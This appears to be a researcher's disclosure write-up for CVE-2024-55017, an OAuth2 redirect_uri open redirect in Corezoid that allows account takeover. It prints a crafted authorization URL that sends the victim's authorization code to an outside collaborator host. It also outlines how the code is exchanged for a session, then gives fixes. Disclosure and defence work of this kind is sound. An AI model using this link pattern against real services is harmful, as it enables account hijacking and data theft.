Corezoid (CVE-2024–55017) — Account Takeover via OAuth2 redirect_uri Open Redirect

TL;DR

Elmiraibrahimlii

~4 min read · September 30, 2025 (Updated: September 30, 2025) · Free: Yes

TL;DR

Earlier this year I discovered an OAuth2 misconfiguration in a Corezoid deployment that lets an attacker abuse an unvalidated redirect_uri parameter to capture authorization codes and take over user accounts. A crafted authorization URL redirects an authenticated victim to an attacker-controlled endpoint with the authorization code parameter, which the attacker can exchange for a session token and use to impersonate the victim.

Background

About Corezoid. Corezoid is a process orchestration and automation platform used widely in fintech and enterprise environments. It allows organizations to model business logic as "processes" that can be exposed as APIs or connected to other systems. In some deployments, Corezoid is integrated with OAuth2 flows.

OAuth2 is authorization framework that delegates access by issuing short-lived authorization codes to users. The users then exchange them for tokens. The redirect_uri parameter is central to this flow: after the user authenticates, the authorization server returns the authorization code to the registered redirect URI. If the authorization server does not validate redirect_uri values, attackers can intercept authorization codes by redirecting users to attacker-controlled domains. This breaks the trust model of OAuth2 authorization framework.

Vulnerability Explanation

Root cause. The /oauth2/authorize endpoint accepts arbitrary redirect_uri values without strict allowlist validation. The authorization server redirects authenticated users to the supplied redirect_uri even when that URI pointed to attacker-controlled domains. When the server performs that redirect it adds the authorization code parameter to the URI , which allows an attacker to capture it. In short: no strict allowlist of redirect URIs.

Why this matters. The authorization code is a short-lived secret: anyone who receives it can exchange it at the token endpoint and obtain session cookies for that user — taking over their account. The core failure is accepting untrusted redirect destinations in requests where the sensitive code parameter will be sent.

What Happens:

End-to-End Attack Sequence: From Crafted Link to Account Access

The attacker constructs an OAuth2 authorization URL where the redirect_uri parameter points to an attacker-controlled host. The attacker then deliver this link to lure an authenticated victim.
The victim's browser issues a GET to the authorization endpoint with the attacker's redirect_uri. If the victim has an active session, the server proceeds to issue a code.
The authorization server responds with a redirect to the redirect_uri, appending ?code=AUTH_CODE. Because redirect_uri was attacker-controlled, the victim is redirected to the attacker's server.
The victim's browser sends a GET to the attacker endpoint including the code query. The attacker's server receives and logs AUTH_CODE.
The attacker exchanges AUTH_CODE with the authorization server's token endpoint.
The server returns a session cookie that allow calling resource APIs and loading the web UI as the victim.
Using session cookie obtained, the attacker queries any resource to fetch sensitive information of the victim.
The resource server returns the victim's data in a normal successful response. From here the attacker may perform any authenticated operations as that user.

In short: one crafted link and one browser redirect is all it takes.

Exploitation (Step by Step)

Below is the step-by-step exploit from the malicious OAuth2 URL to the token exchange:

Craft authorization URL with malicious redirect_uri parameter and deliver it to the victim for him to click:

https://account.corezoid.com/oauth2/authorize?
  client_id=5cbeb51f60995b120e000001&
  response_type=code&
  scope=single_account:account.read&
  redirect_uri=https://h1j8inqkqollomlkmqmbx0tmjrax7lw.oastify.com&
  state=https://admin.corezoid.com

2. Server issues code and redirects to the attacker URL:

3. Attacker captures AUTH_CODE from incoming request logs on his server:

4. Attacker exchanges the code at the real token endpoint, and receives a session cookie:

5. Attacker queries the resources as the victim and accesses the admin panel:

Fixes and Best Practices

Fixing this class of bug is thankfully straightforward. At a minimum, treat redirect_uri as sacred: only ever redirect to whitelisted URIs (exact match, no loose wildcards), and canonicalize inputs in a way that encoding tricks can't work. Pair that with protocol hardening. Enforce PKCE for public clients and require client authentication.

The fix is included in Corezoid version 6.8.2.

Conclusion

The issue shows how details in OAuth2 flows can become security risk if not strictly validated. Although OAuth2 is widely used and well-documented framework, small misconfigurations of it can open the door for adversaries.